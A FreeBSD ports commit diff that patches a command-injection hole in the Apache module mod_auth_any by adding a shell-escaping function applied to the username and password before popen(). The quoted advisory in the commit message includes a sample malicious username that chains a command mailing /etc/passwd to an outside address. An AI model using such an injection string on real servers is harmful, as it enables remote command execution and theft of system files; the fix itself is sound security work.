o Fix vulnerability that allows execution of arbitrary commands on
the server with the uid of the apache process. Background [1]: "The module accepts a username and password from the web client, passes them to a user-space executable (using popen(3), which invokes a shell) and waits for a response in order to authenticate the user. The password is quoted on the popen() command line to avoid interpretation of shell special chars, but the username is not. Thus a malicious user can execute commands by supplying an appropriately crafted username. (e.g. "foo&mail me@my.home</etc/passwd") "The problem is easily fixed by adding quotes (and escaping any quotes already present) to the username and password in the popen command line." o Fix this by adding a escaping function from [2]. Then, modifying this function appropriately with ideas from [3]. Apply the new escaping code to mod_auth_any. o Bump PORTREVISION Submitted by: Security Officer (nectar), Red Hat Security Response Team <security@redhat.com> [1] Obtained from: mod_auth_any CVS [2], nalin@redhat.com [3]
This commit is contained in:
parent
7a568562a2
commit
0025bdf0b2
Notes:
svn2git
2021-03-31 03:12:20 +00:00
svn path=/head/; revision=77439
3 changed files with 87 additions and 0 deletions
|
@ -7,6 +7,7 @@
|
||||||
|
|
||||||
PORTNAME= mod_auth_any
|
PORTNAME= mod_auth_any
|
||||||
PORTVERSION= 1.0.2
|
PORTVERSION= 1.0.2
|
||||||
|
PORTREVISION= 1
|
||||||
CATEGORIES= www
|
CATEGORIES= www
|
||||||
MASTER_SITES= ftp://ftp.itlab.musc.edu/pub/toolbox/mod_auth_any/
|
MASTER_SITES= ftp://ftp.itlab.musc.edu/pub/toolbox/mod_auth_any/
|
||||||
EXTRACT_SUFX= .tgz
|
EXTRACT_SUFX= .tgz
|
||||||
|
@ -20,6 +21,10 @@ RUN_DEPENDS= ${APXS}:${APACHE_PORT}
|
||||||
APXS?= ${LOCALBASE}/sbin/apxs
|
APXS?= ${LOCALBASE}/sbin/apxs
|
||||||
APACHE_PORT?= ${PORTSDIR}/www/apache13
|
APACHE_PORT?= ${PORTSDIR}/www/apache13
|
||||||
|
|
||||||
|
post-patch:
|
||||||
|
@${CAT} ${FILESDIR}/bash_single_quote_escape_string.c >> \
|
||||||
|
${WRKSRC}/${PORTNAME}.c
|
||||||
|
|
||||||
do-build:
|
do-build:
|
||||||
@cd ${WRKSRC} && ${APXS} -c ${PORTNAME}.c
|
@cd ${WRKSRC} && ${APXS} -c ${PORTNAME}.c
|
||||||
|
|
||||||
|
|
45
www/mod_auth_any/files/bash_single_quote_escape_string.c
Normal file
45
www/mod_auth_any/files/bash_single_quote_escape_string.c
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
/* Escape special characters in the input string so that the bash
|
||||||
|
shell will not interpolate them when the input string is withing
|
||||||
|
single quotes.
|
||||||
|
|
||||||
|
IN: null-terminated character array containing string to be interpolated
|
||||||
|
OUT: newly allocate (using malloc) null-terminated character array
|
||||||
|
containing the input string with the special characters properly
|
||||||
|
escaped */
|
||||||
|
char* bash_single_quote_escape_string(const char *s) {
|
||||||
|
/* used to count the length of the string and the number of single quotes */
|
||||||
|
int str_len, sq_count;
|
||||||
|
int s_pos, buf_pos; /* copy chars loop counter */
|
||||||
|
/* used to hold the final result string */
|
||||||
|
char *buf;
|
||||||
|
const char *escapees = "\"'\\$~` \t|&;()<>";
|
||||||
|
|
||||||
|
/* Count the single quotes.
|
||||||
|
LOOP INVARIANT: str_len < (number of chars in string 's')
|
||||||
|
POSTCONDITION: sq_count == (number of single quotes in string 's') */
|
||||||
|
for (str_len = 0, sq_count = 0; s[str_len] != '\0'; str_len++)
|
||||||
|
if (strchr(escapees, s[str_len]) != NULL)
|
||||||
|
sq_count++;
|
||||||
|
|
||||||
|
/* Allocate the memory for the final string.
|
||||||
|
Each ' (one char) will become \' (2 chars), so multiply by 2
|
||||||
|
and don't forget to add 1 for terminating null. */
|
||||||
|
buf = (char*) malloc(sizeof(char) * (str_len + 1 + sq_count * 2));
|
||||||
|
|
||||||
|
/* Copy the chars of 's' into 'buf', turning each ' into \' */
|
||||||
|
for (s_pos = 0, buf_pos = 0; s_pos < str_len; s_pos++) {
|
||||||
|
/* If we see a single quote, then put '\'' into 'buf' and advance
|
||||||
|
buf_pos 4 positions, else put the next char from 's' into 'buf'
|
||||||
|
and advance buf_pos 1 position. */
|
||||||
|
if(strchr(escapees, s[s_pos]) != NULL) {
|
||||||
|
buf[buf_pos++] = '\\';
|
||||||
|
buf[buf_pos++] = s[s_pos];
|
||||||
|
} else {
|
||||||
|
buf[buf_pos++] = s[s_pos];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/* don't forget the null terminator */
|
||||||
|
buf[buf_pos] = '\0';
|
||||||
|
|
||||||
|
return buf;
|
||||||
|
}
|
37
www/mod_auth_any/files/patch-mod_auth_any.c
Normal file
37
www/mod_auth_any/files/patch-mod_auth_any.c
Normal file
|
@ -0,0 +1,37 @@
|
||||||
|
--- mod_auth_any.c.orig Tue Jan 9 05:48:20 2001
|
||||||
|
+++ mod_auth_any.c Tue Mar 25 01:09:55 2003
|
||||||
|
@@ -121,6 +121,7 @@
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
+char* bash_single_quote_escape_string(const char *);
|
||||||
|
|
||||||
|
/* NB: debugging stuff */
|
||||||
|
extern int errno;
|
||||||
|
@@ -180,13 +181,25 @@
|
||||||
|
const char *rpw, *w;
|
||||||
|
FILE* ext_authprog;
|
||||||
|
FILE* fp;
|
||||||
|
+ char *escaped_user, *escaped_password;
|
||||||
|
|
||||||
|
l = (char*) malloc (MAX_STRING_LEN * sizeof(char));
|
||||||
|
+ memset (l, '\0', MAX_STRING_LEN);
|
||||||
|
execstr = (char*) malloc (MAX_STRING_LEN * sizeof(char));
|
||||||
|
|
||||||
|
setenv ("REMOTE_ADDR", r -> connection -> remote_ip, 1);
|
||||||
|
+
|
||||||
|
+ /* escape the user name and the password */
|
||||||
|
+ escaped_user = bash_single_quote_escape_string(user);
|
||||||
|
+ escaped_password = bash_single_quote_escape_string(password);
|
||||||
|
+
|
||||||
|
/* open the program stream */
|
||||||
|
- snprintf (execstr, MAX_STRING_LEN, "%s %s \"%s\"", auth_pwfile, user, password);
|
||||||
|
+ snprintf (execstr, MAX_STRING_LEN, "%s %s %s", auth_pwfile, escaped_user, escaped_password);
|
||||||
|
+
|
||||||
|
+ /* free the escaped user and password before we forget */
|
||||||
|
+ free(escaped_user);
|
||||||
|
+ free(escaped_password);
|
||||||
|
+
|
||||||
|
if (!(ext_authprog = popen (execstr, "r"))) {
|
||||||
|
|
||||||
|
ap_log_rerror (APLOG_MARK, APLOG_ERR, r, "Could not popen() on program: %s: %s",
|
Loading…
Reference in a new issue